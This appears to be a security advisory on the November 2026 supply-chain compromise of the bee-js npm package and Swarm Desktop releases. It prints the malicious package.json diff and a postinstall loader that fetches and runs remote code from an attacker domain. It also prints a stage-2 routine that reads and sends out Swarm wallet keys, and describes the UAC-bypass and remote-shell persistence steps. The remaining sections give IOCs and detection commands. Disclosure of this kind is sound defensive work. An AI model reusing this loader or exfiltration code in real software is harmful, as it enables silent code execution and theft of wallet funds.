CVE
Not assigned
CWE
CWE-506, CWE-94, CWE-494, CWE-522
Affected Surface
- npm `@ethersphere/bee-js` version `13.3.0` (`GHSA-hh7j-5m3j-23pf`, published 9 November 2026 at `00:09:50 UTC` with SLSA provenance from `ethersphere/bee-js` commit `de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf`; removed from npm at `01:24:58 UTC` and reverted to `13.2.0`)
- GitHub Release `ethersphere/swarm-desktop` version `0.56.2` (published 9 November 2026 at `00:36:31 UTC` from commits `2de727046706062d38edfbbf8340f32d1eb2bdfb` and `dc7d7455c95b3092eb14bff2bd93315b84b066fa` on branch `emergency/0.56.2`; tag `v0.56.2` deleted at `09:04:45 UTC`, clean replacement release `0.56.3` published at `12:52:07 UTC`)
- Downstream npm packages with semver ranges resolving `@ethersphere/bee-js@^13.0.0` or `^13.2.0` during the exposure window, including `@ethersphere/swarm-cli` (`3.7.0`), `@ethersphere/bee-dashboard` (`0.37.1`), `@solarpunkltd/swarm-id` (`0.10.5`), `@snaha/swarm-id` (`0.8.0`), `@solarpunkltd/file-manager-lib` (`1.1.1`), `@upcoming/bee-dashboard` (`0.33.3`), and `bee-wasm-js` (`0.1.1`)
Update, 9 November 2026 (12:52 UTC release and Socket Threat Research attribution): At 12:52:07 UTC on 9 November 2026, Ethersphere maintainers published clean replacement release ethersphere/swarm-desktop v0.56.3, and Socket Threat Research published a forensic reconstruction of the compromise with four additional findings for defenders:
- Why Swarm Desktop users must upgrade to
0.56.3(deletingv0.56.2did not roll back auto-updated clients): Swarm Desktop usesupdate-electron-app, which pollsupdate.electronjs.orgevery 10 minutes on macOS and Windows. Because the threat actor pushed a follow-up commitdc7d7455c95b3092eb14bff2bd93315b84b066fa(via the compromisednugaonmaintainer account) to repair a brokenpnpm/action-setupstep inpre-release.yml, Ethersphere’s own CI built, signed (Developer ID Application: Swarm Association (9J9SPHU9RP)), and Apple-notarized (00:44:05 UTC) the trojanized0.56.2installers (dist/desktop/src/index.jsSHA-256f81315968e679b48f6bdff1c9b928bb223230d07f44d7948412c2250c2a14debinsideapp.asar). Deleting thev0.56.2release tag at09:04:45 UTCnever downgraded clients that had already auto-updated; those hosts continued executing the/v1/electronloader on every launch until0.56.3shipped at12:52:07 UTC(and installing0.56.3still does not remove the stage-3~/.solidity/orScreenConnect Client (5cbe79c9c25524df)persistence). - The loader executed three times inside Ethersphere’s own
publish_npmjs.yamlGitHub Actions job: Public logs for Actions run42538346313shownode scripts/generate-version.cjsexecuting three times (npm ci,npm run build, andprepublishOnly) between00:06:20and00:06:43 UTCon a runner holdingid-token: write, withapi.frameworkmetrics[.]xyzreturning live JavaScript that printed[FrameworkMetrics] analytics v2.3.1 is up to date. - 6 November
ethersphere/swarm-cliCI secret-harvesting campaign bynugaon: After the three branch probes onswarm-desktop(17:06to17:14 UTCon 6 November),nugaonpushed 13 commits directly tomasteronethersphere/swarm-clibetween18:01:14and19:55:47 UTC, revising asudo apt updatestep incheck.yaml11 times to dump${{ toJSON(secrets) }}, GitHub PATs, Apple/Windows signing certificates, andNPM_TOKENto threewebhook[.]sitecollectors (fdc222d5-2e6c-4122-801d-93099f3fe827,46358b99-9cff-4f14-97bc-4a436086e826, andc05b53d9-c3b6-4a90-94dc-b86a0a4e905f) andpastebin[.]com/raw/q1p9qH2wbefore revertingmaster. - Shared Ethereum C2 dead drop and stage-3 binaries with the SleepyDuck / EtherDuck Open VSX campaign: The Ethereum contract
0xf8a900Db50b3331be6B768bA460BB59f3E40C344, its owner wallet0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7, a linked secondary contract0x6a82595EEea0f4FDFB3aE13A2687BcbBE626e94B(deployed 31 July 2026 by0xA7B15A2B5F6992DC3BabB946375d6895fF1171BF), and six of the seven stage-3 binaries (linux_amd64,linux_arm64,darwin_amd64,darwin_arm64,invoke.ps1, andapp.msi) are byte-for-byte identical to the infrastructure documented by Pluto Security on 1 October 2026 in the SleepyDuck / EtherDuck Open VSX Solidity extension attacks, explaining why the Swarm implant still persists under~/.solidity/andsolidity-langsupport-runner.service.
TL;DR
Early on 9 November 2026, an attacker using Ethersphere’s bee-worker release bot identity compromised both @ethersphere/bee-js on npm (13.3.0, GHSA-hh7j-5m3j-23pf) and ethersphere/swarm-desktop on GitHub Releases (v0.56.2):
- Trusted publishing with valid SLSA provenance bypassed branch protection: At
23:59:54 UTCon 8 November,bee-workercreated an unsigned commit (de2f74e784b2) and taggedv13.3.0without pushing to any protected branch while the real Release Please PR (#1288) sat unmerged. Publishing thev13.3.0GitHub release at00:06:01 UTCon 9 November triggered.github/workflows/publish_npmjs.yaml(Actions run42538346313), which built the tag and published@ethersphere/bee-js@13.3.0to npm at00:09:50 UTCwith a valid SLSA provenance attestation. - Follow-up compromise of
ethersphere/swarm-desktop0.56.2: Thirty minutes later (00:36:31 UTC),bee-workercreated commit2de727046706(chore(master): release 0.56.2, pushed torefs/heads/emergency/0.56.2at00:39:23 UTCbynugaon) and published Swarm Desktopv0.56.2as an “emergency patch release” containing the same loader insidesrc/index.ts. - Swarm wallet keystore theft (
config.yaml+swarm.key): Both loaders sendGET /v1/analytics(or/v1/electron) toapi.frameworkmetrics[.]xyzwith headersX-Ethersphere: 1andUser-Agent: <process.platform>, and pass the response body tonew Function('require', 'console', 'process', body)(require, console, process). The stage-2 JavaScript readsconfig.yaml(which stores the node’s keystore password in cleartext) anddata-dir/keys/swarm.key(the encrypted Ethereum V3 keystore holding the node’s xDAI, xBZZ, chequebook, and stake) from the Swarm Desktop data directory and POSTs both tohxxps://api.frameworkmetrics[.]xyz/v1/swarm/report. - Cross-platform persistence (
evjawbreakerEthereum C2 RAT and rogue ScreenConnect SYSTEM service):- On Linux and macOS, stage 2 drops the Go remote-shell implant
evjawbreakerinto~/.solidity/linux_<arch>or~/.solidity/darwin_<arch>, persists it via~/.config/systemd/user/solidity-langsupport-runner.serviceor~/Library/LaunchAgents/com.solidity.langsupport.runner.plist, and queries Ethereum mainnet smart contract0xf8a900Db50b3331be6B768bA460BB59f3E40C344(selector0x02d91518) via public JSON-RPC endpoints (rpc.ankr.com,cloudflare-eth.com) to resolve the active TLS C2 hub (193.57.9[.]155:4912, set on-chain 29 minutes before thebee-jscommit). - On Windows, stage 2 downloads
invoke.ps1andapp.msi, uses UACME Method 39 (mmc.exe.NETCOR_PROFILERhijack) or repeated UAC prompts to elevate, adds a temporary Microsoft Defender exclusion, and installs a ConnectWise-signed ScreenConnect25.4.3client (ScreenConnect Client (5cbe79c9c25524df)) running asSYSTEMand beaconing to185.232.84[.]169:8041.
- On Linux and macOS, stage 2 drops the Go remote-shell implant
What to do now: Pin @ethersphere/bee-js to 13.2.0 and upgrade Swarm Desktop to 0.56.3 (or 0.56.1). If any workstation, node, or CI runner installed @ethersphere/bee-js@13.3.0 (directly or transitively via @ethersphere/swarm-cli, @ethersphere/bee-dashboard, @solarpunkltd/swarm-id, or @snaha/swarm-id) or updated to Swarm Desktop 0.56.2, treat the host and its Swarm wallet key (swarm.key) as compromised, transfer xDAI/xBZZ funds and stake to a newly generated key on a clean machine, and remove the ~/.solidity/ implant or ScreenConnect Client (5cbe79c9c25524df) service before rebuilding the host.
Affected packages and releases
| Ecosystem | Package / Repository | Affected version | Safe version | Exposure window (UTC) | Status (9 Nov 2026) |
|---|---|---|---|---|---|
| npm | @ethersphere/bee-js (GHSA-hh7j-5m3j-23pf) | 13.3.0 | 13.2.0 | 2026-11-09 00:09:50 to 01:24:58 UTC (~75 minutes) | Removed from npm at 01:24:58 UTC; latest restored to 13.2.0; tag v13.3.0 deleted at 09:21:55 UTC |
| GitHub Releases | ethersphere/swarm-desktop | 0.56.2 (.deb, .rpm, .dmg, .exe, .nupkg, .zip, RELEASES) | 0.56.3 (0.56.1) | 2026-11-09 00:36:31 to 09:04:45 UTC (~8.5 hours) | Tag v0.56.2 deleted at 09:04:45 UTC (65 total asset downloads); clean v0.56.3 released at 12:52:07 UTC |
| npm (downstream) | @ethersphere/swarm-cli (3.7.0), @ethersphere/bee-dashboard (0.37.1), @solarpunkltd/swarm-id (0.10.5), @snaha/swarm-id (0.8.0), @solarpunkltd/file-manager-lib (1.1.1), @upcoming/bee-dashboard (0.33.3), bee-wasm-js (0.1.1) | Unpinned installs resolving @ethersphere/bee-js@^13.0.0 or ^13.2.0 while 13.3.0 was latest | Lockfiles pinned to @ethersphere/bee-js@13.2.0 | 2026-11-09 00:09:50 to 01:24:58 UTC | Clean upstream packages; check package-lock.json, pnpm-lock.yaml, and yarn.lock for resolved 13.3.0 |
Technical analysis
1. How an unbranched commit produced a valid SLSA provenance attestation on npm
GitHub event telemetry on ethersphere/swarm-desktop shows that on 6 November 2026, two hours after the attacker registered frameworkmetrics[.]xyz (15:08 UTC), the GitHub account nugaon created and immediately deleted three test branches (probe/force-dryrun-1793984793 at 17:06:35 UTC, security/lab-secrets-1793985145 at 17:12:28 UTC, and test-run at 17:14:37 UTC).
At 23:59:54 UTC on 8 November 2026, the project’s release automation account bee-worker (70210089+bee-worker@users.noreply.github.com) created an unsigned commit de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf (chore(upcoming): release 13.3.0) on ethersphere/bee-js. Rather than pushing to a protected branch or merging the open Release Please pull request (#1288), the actor tagged de2f74e784b2 as v13.3.0 (tag object f112f36110ef51ae91aa814596621c2eafd99d1b) and published GitHub Release 438613465 at 00:06:01 UTC on 9 November.
Because .github/workflows/publish_npmjs.yaml triggers on release: types: [published] and runs tests only on branch pushes, GitHub Actions run 42538346313 checked out v13.3.0, built the package, and published @ethersphere/bee-js@13.3.0 to npm at 00:09:50 UTC using GitHub Actions OIDC trusted publishing. As a result, the malicious tarball (a205c8a5fed81e9a787645b2801f00be3db3348d) carried a genuine, cryptographically valid SLSA build provenance signature linking it to ethersphere/bee-js and publish_npmjs.yaml.
2. Stage 1: the postinstall (bee-js) and Electron main() (swarm-desktop) loaders
In ethersphere/bee-js commit de2f74e784b2, the attacker modified package.json to ship the scripts/ directory in the published tarball and moved node scripts/generate-version.cjs from prepare (which runs only during package development) to postinstall (which runs on every consumer npm install):
--- a/package.json
+++ b/package.json
@@ -52,11 +52,12 @@
"files": [
- "dist"
+ "dist",
+ "scripts"
],
"scripts": {
"prepublishOnly": "NODE_ENV=production npm run build",
- "prepare": "node scripts/generate-version.cjs",
+ "postinstall": "node scripts/generate-version.cjs",
"generate:version": "node scripts/generate-version.cjs",
At the top of scripts/generate-version.cjs (2,510 bytes, SHA-256 ee2f762e9ed3fd89f106e0b80c2e923bf1aed9a280277d3d998a5902c4d9ec0f), before the script checks whether src/ exists, the commit inserts an HTTPS loader disguised as an “analytics ping”:
// ethersphere/bee-js@de2f74e784b2: scripts/generate-version.cjs (lines 11-28)
try {
const req = require('https').get(
'https://api.frameworkmetrics.xyz/v1/analytics',
{
headers: {
'User-Agent': process.platform,
'X-Ethersphere': '1',
},
timeout: 3000,
},
async res => {
let body = ''
for await (const chunk of res) body += chunk
new Function('require', 'console', 'process', body)(require, console, process);
},
)
req.on('error', () => {}).on('timeout', () => req.destroy())
} catch {}
Notice the comment the attacker added further down at line 37: // (return, not process.exit -- exit would kill the analytics ping above). Replacing process.exit(0) with return keeps the Node.js event loop alive while the asynchronous HTTPS response streams back and executes inside new Function('require', 'console', 'process', body).
Thirty minutes later (00:36:31 UTC), commit 2de727046706 in ethersphere/swarm-desktop (v0.56.2) injected the same new Function('require', 'console', 'process', body) primitive into main() in src/index.ts, polling https://api.frameworkmetrics.xyz/v1/electron with User-Agent: process.platform and X-Ethersphere: '1' every time the Electron desktop app starts. If a scanner or researcher queries either URL without X-Ethersphere: 1 and a supported platform (linux, darwin, or win32), the C2 returns a benign decoy script.
3. Stage 2: Swarm Desktop wallet keystore exfiltration
When api.frameworkmetrics[.]xyz receives a request with X-Ethersphere: 1 and User-Agent: linux (SHA-256 1f3a7afd2e43215f09f2a81063dc2796af556bae74aaf492fba2d66e5d65b14c), darwin (2496d74e6a913eba39c8537be31baeff9cf6ccdd8ee84a69475302815cfd4105), or win32 (705b4aa2bc6fa35f8e6d448f3c6e193fac6027b9b5239e212e09732cc9fc0dba), the returned stage-2 script immediately runs trySwarm():
// Stage-2 payload (linux @ 1f3a7afd, lines 62-74)
function trySwarm() {
try {
if (typeof require !== 'function') return;
var fs = require('fs');
var path = require('path');
var base = swarmBase();
if (!base || !fs.existsSync(base)) return;
var configPath = path.join(base, 'config.yaml');
var keyPath = path.join(base, 'data-dir', 'keys', 'swarm.key');
if (!fs.existsSync(configPath) || !fs.existsSync(keyPath)) return;
postSwarm(fs.readFileSync(configPath, 'utf8'), fs.readFileSync(keyPath, 'utf8'));
} catch (e) { /* silent */ }
}
Here swarmBase() resolves to ~/.local/share/Swarm Desktop (or $XDG_DATA_HOME/Swarm Desktop) on Linux, ~/Library/Application Support/Swarm Desktop on macOS, and %LOCALAPPDATA%\Swarm Desktop\Data on Windows. Because Swarm Desktop stores the encrypted Ethereum V3 keystore in data-dir/keys/swarm.key and writes the keystore decryption password in plaintext inside config.yaml, postSwarm() sends both files as { configYaml, v3 } to hxxps://api.frameworkmetrics[.]xyz/v1/swarm/report, giving the operator immediate control over the node’s private key, xDAI, xBZZ, chequebook balance, and stake.
4. Stage 3: evjawbreaker Ethereum smart-contract C2 RAT (Linux/macOS) and ScreenConnect UAC bypass (Windows)
After running trySwarm(), stage 2 installs a platform-specific persistent backdoor fetched from hxxps://api.frameworkmetrics[.]xyz/v1/assets/:
- Linux and macOS (
evjawbreakerGo RAT):- On Linux, stage 2 writes
~/.solidity/linux_amd64(SHA-2569b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696) or~/.solidity/linux_arm64(b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565), creates a Python launcher~/.solidity/.run.py, and registers a systemd user unit at~/.config/systemd/user/solidity-langsupport-runner.service(Description=Solidity language tooling helper,Restart=on-failure). - On macOS, stage 2 writes
~/.solidity/darwin_arm64(80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f) or~/.solidity/darwin_amd64(fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358), strips quarantine extended attributes (xattr -c), creates.run.cjsor.run.py, and loads~/Library/LaunchAgents/com.solidity.langsupport.runner.plist(RunAtLoad=true). - Static inspection of the Linux and macOS binaries shows a Go implant with internal module path
evjawbreaker(evjawbreaker/internal/eth.ethCallWithFallback,evjawbreaker/internal/eth.ParseABIString,hubclient.runCommand,hubclient.startShellLocked,github.com/creack/pty). After checking for debuggers and VM hypervisors,main.fetchParam1Onceissues an Ethereumeth_call(0x02d91518) against mainnet contract0xf8a900Db50b3331be6B768bA460BB59f3E40C344(deployed 14 March 2026 by0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7) via public RPC nodes (rpc.ankr.com,cloudflare-eth.com). At23:30:47 UTCon 8 November (29 minutes before thebee-jscommit), the operator updated that contract to return193.57.9[.]155:4912, to which the implant opens a TLS session (skipping certificate verification) and spawns an interactiveshPTY shell.
- On Linux, stage 2 writes
- Windows (
invoke.ps1UACME Method 39 + ConnectWise ScreenConnect25.4.3):- Stage 2 stages
.stuffed-*PowerShell and VBScript launchers in%TEMP%and downloadsinvoke.ps1(37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e) andapp.msi(7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da) into a hidden%LOCALAPPDATA%\.<32-hex-guid>\directory. - If the user is a local administrator,
invoke.ps1uses UACME Method 39 (settingCOR_ENABLE_PROFILING=1andCOR_PROFILER_PATHin the user environment before launching auto-elevatedmmc.exe) to gain high-integrity privileges without a consent prompt; otherwise it loops the UAC prompt until accepted. It then adds a Microsoft Defender exclusion for the staging folder, silently installsapp.msi(a ConnectWise-signed ScreenConnect25.4.3client configured viasystem.configto connect to185.232.84[.]169:8041asSYSTEMserviceScreenConnect Client (5cbe79c9c25524df)with hidden tray icon and suppressed banners), and removes the Defender exclusion and staging files.
- Stage 2 stages
IOCs
- Network and blockchain indicators (defanged):
- Stage-1 / Stage-2 C2 domain:
frameworkmetrics[.]xyzandapi.frameworkmetrics[.]xyz - Loader, asset, and exfiltration URLs:
hxxps://api.frameworkmetrics[.]xyz/v1/analytics,hxxps://api.frameworkmetrics[.]xyz/v1/electron,hxxps://api.frameworkmetrics[.]xyz/v1/assets/, andhxxps://api.frameworkmetrics[.]xyz/v1/swarm/report - Gate header:
X-Ethersphere: 1withUser-Agent: linux,darwin, orwin32 evjawbreakerTLS C2 hub (current):193.57.9[.]155:4912(historical hubs on the same contract:193.57.9[.]17:4912,178.16.54[.]222:4912,107.189.27[.]223:4912,107.189.27[.]46:4912,91.108.240[.]156:4912,107.189.16[.]215:4912; secondary URL parameterhxxp://107.189.27[.]46:3000/app.js)- Rogue ScreenConnect relay:
185.232.84[.]169:8041 - Ethereum mainnet dead-drop contracts:
0xf8a900Db50b3331be6B768bA460BB59f3E40C344and0x6a82595EEea0f4FDFB3aE13A2687BcbBE626e94B(getter selectors0x02d91518and0x1f049b68; operator wallet0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7)
- Stage-1 / Stage-2 C2 domain:
- Host persistence indicators:
- Linux:
~/.solidity/linux_amd64,~/.solidity/linux_arm64,~/.solidity/.run.py, and~/.config/systemd/user/solidity-langsupport-runner.service - macOS:
~/.solidity/darwin_arm64,~/.solidity/darwin_amd64,~/.solidity/.run.cjs,~/.solidity/.run.py, and~/Library/LaunchAgents/com.solidity.langsupport.runner.plist - Windows:
%TEMP%\.stuffed-*,%LOCALAPPDATA%\.<32-hex-guid>\app.msi, and Windows serviceScreenConnect Client (5cbe79c9c25524df)
- Linux:
- SHA-256 digests:
scripts/generate-version.cjs(@ethersphere/bee-js@13.3.0, npm tarball SHA-1a205c8a5fed81e9a787645b2801f00be3db3348d):ee2f762e9ed3fd89f106e0b80c2e923bf1aed9a280277d3d998a5902c4d9ec0f- Stage-2 scripts: Linux
1f3a7afd2e43215f09f2a81063dc2796af556bae74aaf492fba2d66e5d65b14c, macOS2496d74e6a913eba39c8537be31baeff9cf6ccdd8ee84a69475302815cfd4105, Windows705b4aa2bc6fa35f8e6d448f3c6e193fac6027b9b5239e212e09732cc9fc0dba, decoy735aba95e24f515a5cea4efea309f245952917d372b37b5fbea305986dbcd568 - Stage-3 payloads:
linux_amd649b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696,linux_arm64b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565,darwin_arm6480d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f,darwin_amd64fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358,invoke.ps137d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e,app.msi7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da
Detection and remediation
# 1. Check npm, pnpm, and yarn dependency trees and lockfiles for @ethersphere/bee-js 13.3.0
npm ls @ethersphere/bee-js 2>/dev/null || true
rg -n -C 3 '@ethersphere/bee-js.*13\.3\.0|frameworkmetrics\.xyz' \
package.json package-lock.json pnpm-lock.yaml yarn.lock node_modules/ 2>/dev/null
# 2. Check Linux and macOS hosts for the evjawbreaker implant and persistence units
ls -la ~/.solidity/ \
~/.config/systemd/user/solidity-langsupport-runner.service \
~/Library/LaunchAgents/com.solidity.langsupport.runner.plist 2>/dev/null || true
ps -ef | grep -E '\.solidity/|solidity-langsupport-runner' | grep -v grep || true
# 3. Check Swarm Desktop version on Linux/macOS
rg -n '"version":\s*"0\.56\.2"|frameworkmetrics\.xyz' \
/opt/Swarm\ Desktop/ /Applications/Swarm\ Desktop.app/ ~/.local/share/Swarm\ Desktop/ 2>/dev/null || true
On Windows PowerShell, check for the rogue ScreenConnect service and .stuffed-* staging artifacts:
Get-Service -Name "ScreenConnect Client (5cbe79c9c25524df)" -ErrorAction SilentlyContinue
Get-ChildItem -Path $env:TEMP -Filter ".stuffed-*" -Force -ErrorAction SilentlyContinue
- Migrate Swarm node funds and stake immediately if
config.yamlandswarm.keywere present: Generating a new password for the existingswarm.keyis not sufficient because the private key insideswarm.keyis already exposed once decrypted with the stolenconfig.yamlpassword. Generate a fresh wallet on a clean machine and transfer all xDAI, xBZZ, chequebook funds, and stake out of the compromised address. - Eradicate persistence and rebuild affected hosts: Stop and disable
solidity-langsupport-runner.service(systemctl --user disable --now solidity-langsupport-runner.service), unloadcom.solidity.langsupport.runner.plist(launchctl bootout gui/$(id -u) ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist), or uninstallScreenConnect Client (5cbe79c9c25524df)on Windows, delete~/.solidity/, rotate all credentials accessible to the user or CI job, and rebuild the workstation or runner from a known-clean image.
Timeline
- 2026-03-14 (
13:03:47 UTC): Operator wallet0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7deploys Ethereum mainnet C2 dead-drop contract0xf8a900Db50b3331be6B768bA460BB59f3E40C344. - 2026-11-06 (
15:08 UTCto17:14 UTC):frameworkmetrics[.]xyzis registered (15:08 UTC); two hours later (17:06to17:14 UTC),nugaoncreates and deletes probe branches (probe/force-dryrun-1793984793,security/lab-secrets-1793985145,test-run) onethersphere/swarm-desktop. - 2026-11-08 (
23:30:47 UTC): Operator updates Ethereum contract0xf8a900Db50b3331be6B768bA460BB59f3E40C344to point to193.57.9[.]155:4912. - 2026-11-08 (
23:59:54 UTC):bee-workercreates unsigned commitde2f74e784b2eafa0d66fbb6d88b42ea11ee34cf(chore(upcoming): release 13.3.0) onethersphere/bee-js. - 2026-11-09 (
00:06:01to00:09:50 UTC):bee-workerpublishes GitHub releasev13.3.0, triggeringpublish_npmjs.yaml(run42538346313), which publishes@ethersphere/bee-js@13.3.0to npm with valid SLSA provenance. - 2026-11-09 (
00:36:31to00:39:23 UTC):bee-workercreates commit2de727046706062d38edfbbf8340f32d1eb2bdfb(chore(master): release 0.56.2) onethersphere/swarm-desktop(refs/heads/emergency/0.56.2pushed bynugaon) and publishes Swarm Desktopv0.56.2. - 2026-11-09 (
00:53:54to01:25:27 UTC): StepSecurity opensethersphere/bee-js#1294(00:53 UTC), Bitbison opens#1295(01:25 UTC), npm removes@ethersphere/bee-js@13.3.0(01:24:58 UTC), and GitHub publishesGHSA-hh7j-5m3j-23pf(01:25:27 UTC). - 2026-11-09 (
07:00:25to09:21:55 UTC): SafeDep opensethersphere/swarm-desktop#581(07:00 UTC), Ethersphere maintainers delete tagsv0.56.2(09:04:45 UTC) andv13.3.0(09:21:55 UTC), and StepSecurity, SafeDep, and OX Security publish full technical analyses. - 2026-11-09 (
12:52:07 UTC): Ethersphere maintainers publish clean replacement releaseethersphere/swarm-desktopv0.56.3so macOS and Windows auto-updaters roll forward off0.56.2, and Socket Threat Research publishes its forensic attribution linking the campaign to SleepyDuck / EtherDuck.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Socket Threat Research (9 November 2026): Malicious bee-js npm Release and Swarm Desktop Releases Deliver SleepyDuck Ethereum C2 Backdoor
- StepSecurity Threat Research (8-9 November 2026): @ethersphere/bee-js 13.3.0 Compromised
- SafeDep Threat Research (9 November 2026): Compromised bee-js and Swarm Desktop Steal Swarm Wallet Keys
- OX Security Research (9 November 2026): Ethersphere Hijacked With Crypto Stealing Malware Via GitHub & npm
- Bitbison Open-Source Registry (9 November 2026): @ethersphere/bee-js 13.3.0 build and runtime capture
- GitHub Advisory GHSA-hh7j-5m3j-23pf and upstream commits ethersphere/bee-js@de2f74e784b2 and ethersphere/swarm-desktop@2de727046706
- GitHub Issues ethersphere/bee-js#1294, ethersphere/bee-js#1295, and ethersphere/swarm-desktop#581